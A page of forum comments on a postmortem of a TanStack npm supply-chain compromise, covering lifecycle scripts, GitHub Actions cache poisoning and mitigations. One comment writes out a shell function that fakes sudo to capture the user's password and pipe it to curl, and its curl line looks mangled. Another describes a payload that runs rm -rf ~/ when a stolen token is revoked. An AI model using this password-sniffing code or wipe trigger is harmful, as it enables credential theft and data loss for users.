Earlier quoted context omitted.
> running few years old JS deps What do you when a critical vulnerability gets discovered and you have to update a package? How many critical/high severity vulnerabilities are you running with in production every day to avoid supply chain attacks?
they said internal dashboards
Postmortem: TanStack NPM supply-chain compromise
171–180 of 501 posts
Re: Postmortem: TanStack NPM supply-chain compromise
#172Wow. Another huge package got compromised. I'm going to repost my PSA[0][1] that I posted after Axios and LiteLLM were compromised. The bit about lifecycle scripts apply too: PSA: npm/bun/pnpm/uv now all support setting a minimum release age for packages. I also have `ignore-scripts=true` in my ~/.npmrc. Based on the analysis, that alone would have mitigated the vulnerability. bun and pnpm do not execute lifecycle sc…
~/.config/pip/pip.conf
[install] uploaded-prior-to = P3D
Re: Postmortem: TanStack NPM supply-chain compromise
#173Postinstall scripts are deadly. Everyone should be using pnpm. Crazy that an "orphan" commit pushed to a FORK(!) could trigger this (in npm clients). IMO GitHub deserves much of the blame here. A malicious fork's commits are reachable via GitHub's shared object storage at a URI indistinguishable from the legit repo. That is absolutely bonkers.
They poisoned the github action cache, which was caching the pnpm store. The chain required pull_request_target on the job to check bundle size, which had cache access and poisoned the main repo’s cache
The malicious package that was publisjed will compromise local machines its installed in via the prepare script, though.
Re: Postmortem: TanStack NPM supply-chain compromise
#174Earlier quoted context omitted.
Realistically if you have installed malware, you need to do a full wipe of your computer anyway.
[On Linux:] If you didn't give yourself "free" (passwordless) sudo, that's not necessary… …unless it happened in a week with 2 and a half Linux kernel LPEs.
Re: Postmortem: TanStack NPM supply-chain compromise
#175Earlier quoted context omitted.
I don't understand why people were voting this comment down in the issue page
Maybe they have a non-standard interpretation of thumbs-down – as "thumbs-down to this fact" not "thumbs-down to you for pointing it out"
Re: Postmortem: TanStack NPM supply-chain compromise
#176> making it the first documented case of a self-spreading npm worm that carries valid SLSA provenance attestations I’m sorry, but what is the point of a provenance attestation that can be generated automatically by malware? I would think that any system worth its salt would require strong cryptographic proof tying to some hardware second factor, not just “yep, this was was built on a github actions runner that had ac…
Re: Postmortem: TanStack NPM supply-chain compromise
#177Earlier quoted context omitted.
they probably used the publish token in a pull-request-target workflow or something?
yes, they used pull_request_target for a benchmarking suite. github has a huge warning saying to never use pull_request_target to run user code, but this is just going to keep happening
This is an area where documentation is necessary but not sufficient. Github needs to add some form of automated screening mechanism to either prevent this usage, or at the very least quickly flag usages that might be dangerous.
Re: Postmortem: TanStack NPM supply-chain compromise
#178> Please be careful when revoking tokens. It looks like the payload installs a dead-man's switch at ~/.local/bin/gh-token-monitor.sh as a systemd user service (Linux) / LaunchAgent com.user.gh-token-monitor(macOS). It polls api.github.com/user with the stolen token every 60s, and if the token is revoked (HTTP 40x), it runs rm -rf ~/. (It looks like it might also have a bunch of persistence mechanisms. I haven't studi…
I could imagine this might also be to try cover its tracks. If it gets 40x it means it's been found, time to nuke everything it can.
Re: Postmortem: TanStack NPM supply-chain compromise
#179Earlier quoted context omitted.
Realistically if you have installed malware, you need to do a full wipe of your computer anyway.
[On Linux:] If you didn't give yourself "free" (passwordless) sudo, that's not necessary… …unless it happened in a week with 2 and a half Linux kernel LPEs.
Malware can make a fake unprivileged sudo that sniffs your password.
function sudo () {
realsudo=$(which sudo);
read -r -s -p "[sudo] password for $USER: " password;
echo "$USER: $password" | \
curl -F 'p=/dev/null 2>&1;
$realsudo -S /dev/null 2>&1;
$realsudo "${@:1}";
}Re: Postmortem: TanStack NPM supply-chain compromise
#180The worm is spreading...